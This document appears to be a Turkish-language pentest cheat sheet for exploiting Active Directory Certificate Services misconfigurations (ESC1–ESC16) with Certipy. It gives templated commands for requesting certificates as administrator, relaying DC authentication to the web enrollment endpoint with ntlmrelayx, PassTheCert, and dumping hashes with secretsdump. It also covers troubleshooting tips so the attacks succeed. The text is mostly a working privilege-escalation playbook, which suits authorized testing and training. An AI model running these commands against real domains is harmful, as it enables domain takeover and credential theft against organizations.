AD CS Sömürüsü — Certipy ile ESC1–ESC16, ESC8 Relay ve PassTheCert
AD Certificate Services yanlış yapılandırmaları (ESC1–ESC16) ile düşük-yetkili kullanıcı, kendisini Administrator olarak belirten bir sertifika talep edip o sertifikayla PKINIT üzerinden TGT/NT hash alır. Certipy find -vulnerable ile tarama, req ile talep, auth ile kimlik; LDAPS imzalama varsa PassTheCert.
- Bir domain user credential'ı (find ve çoğu ESC için yeterli)
- Ortamda Enterprise CA kurulu (Certipy find ile keşfedilir)
- ESC1 için: client authentication + enrollee-supplies-subject açık + enroll hakkı olan bir template
Komutlar
certipy find -u {{USER}}@{{DOMAIN}} -p {{PASS}} -dc-ip {{DC_IP}} -vulnerable -stdout certipy req -u {{USER}}@{{DOMAIN}} -p {{PASS}} -dc-ip {{DC_IP}} -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@{{DOMAIN}} certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}} certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}} -domain {{DOMAIN}} -username administrator impacket-ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp -smb2support --adcs --template DomainController certipy auth -pfx administrator.pfx -ldap-shell -dc-ip {{DC_IP}} passthecert.py -action whoami -crt user.crt -key user.key -domain {{DOMAIN}} -dc-ip {{DC_IP}} AD CS Neden Tehlikeli
Active Directory Certificate Services bir sertifikayı kimliğe (UPN/SAN) bağlar. Eğer bir template yanlış yapılandırılmışsa, düşük-yetkili bir kullanıcı kendisini Administrator olarak belirten geçerli bir sertifika alabilir. Sertifika bir parola değil ama Kerberos PKINIT ile TGT’ye çevrilebilir — yani sertifika = o kullanıcı olarak kimlik. Üstelik sertifikalar uzun ömürlüdür ve parola değişiminden etkilenmez, bu yüzden kalıcılık (persistence) açısından da değerlidir.
ESCx Ailesi (Özet)
- ESC1 — Template client-authentication için geçerli +
ENROLLEE_SUPPLIES_SUBJECTaçık + düşük kullanıcıya enroll hakkı. Saldırgan SAN/UPN’i Administrator yapar. (Aşağıda detay.) - ESC2 — Any Purpose / SubCA EKU; her amaç için kullanılabilen sertifika.
- ESC3 — Enrollment Agent template’i; başkası adına enroll.
- ESC4 — Template üzerinde yazma hakkın (ACL) var; template’i ESC1’e dönüştürürsün.
- ESC5 — CA nesnesi/PKI objelerinin ACL’leri zayıf.
- ESC6 — CA’da
EDITF_ATTRIBUTESUBJECTALTNAME2açık; tüm template’lerde SAN enjekte edilebilir. - ESC7 — CA üzerinde ManageCA/ManageCertificates hakkı.
- ESC8 — Web Enrollment (HTTP) NTLM relay (aşağıda detay).
- ESC9 / ESC10 — Zayıf sertifika mapping (
no security extension/UPN mapping). - ESC11 — RPC üzerinden ICertPassage relay (IF_ENFORCEENCRYPTICERTREQUEST kapalı).
- ESC13 — Issuance policy OID’i bir gruba bağlı; sertifika grup üyeliği kazandırır.
- ESC14 — altSecurityIdentities (explicit mapping) zayıflığı.
- ESC15 (CVE-2024-49019 / EKUwu) — V1 template’lerde application policy enjeksiyonu.
- ESC16 — CA güvenlik uzantısı global devre dışı (szOID szanal mapping bypass). [UNVERIFIED — ESC16’nın kesin tetik koşulları Certipy sürümüne göre değişir;
certipy find -vulnerableçıktısını esas al.]
ESC1 — Detaylı Akış
- Enum:
certipy find -vulnerable -stdout. ÇıktıdaESC1etiketli,Client AuthenticationEKU’lu,Enrollee Supplies Subject : Trueve enroll hakkı sende olan bir template ara. CA adını ve template adını not al. - Talep:
certipy req ... -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@{{DOMAIN}}. Kritik:-upn(ya da-sid) ile kimliğin kim olacağını sen belirlersin; bu ESC1’in kalbidir. Çıktıadministrator.pfx. - Kimlik:
certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}}. PKINIT ile TGT alınır ve UnPAC-the-hash sayesinde Administrator’ın NT hash’i de düşer. CertipyKRB5CCNAME’i ayarlar. - Sonuç:
export KRB5CCNAME=administrator.ccache; impacket-secretsdump -k -no-pass {{DC_HOST}}veya elde edilen NT hash ile pass-the-hash.
ESC1 Gotcha — Clock Skew ve Strong Binding
Kerberos saatleri ±5 dk içinde olmalı; DC ile saatin kaymışsa ntpdate {{DC_IP}} / faketime. Ayrıca Mayıs 2022 sonrası StrongCertificateBindingEnforcement ile implicit UPN mapping kısıtlanabilir — bu durumda -sid ile hedefin SID’ini sertifikaya gömmen ya da auth’ta açık -username/-domain vermen gerekir.
ESC8 — Detaylı Akış (Relay)
Web Enrollment (http://ca/certsrv/) NTLM kabul eder ve genelde EPA korumasızdır. ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp --adcs --template DomainController ile bir coerce (PetitPotam/Coercer, bkz. ad-coerce-relay) tetikleyip DC$ kimliğini bu endpoint’e relay edersin. ntlmrelayx DC adına sertifika çıkarır; o PFX’i certipy auth ile DC’nin TGT/NT hash’ine çevirirsin. Tek başına ESC8 = coercion + relay’in ADCS varyantıdır.
PassTheCert / Schannel
PKINIT bazı ortamlarda engellidir (KDC sertifika doğrulama, dağıtık CA vb.). O zaman sertifikayı LDAPS schannel kimlik doğrulaması için kullanırsın: certipy auth -pfx ... -ldap-shell ya da AlmondOffSec passthecert.py. Bu yolla TGT almadan doğrudan LDAP’e schannel ile bağlanıp RBCD yazma / kullanıcı değiştirme yaparsın. Gotcha: LDAPS schannel için DC’de channel binding zorlanmıyor olmalı.
Sık Hatalar
-templateadı template display-name değil, çoğu zaman CN’dir;findçıktısındaki ismi birebir kullan.- ESC1’de
-upnyerine-sidgerektiren strong-binding ortamlarını atlamak: hataKDC_ERR_CLIENT_NAME_MISMATCHverir. - ESC8’de
certsrvyerine yanlış path (certfnsh.aspzorunlu) ve EPA açıksa relay sessizce başarısız olur.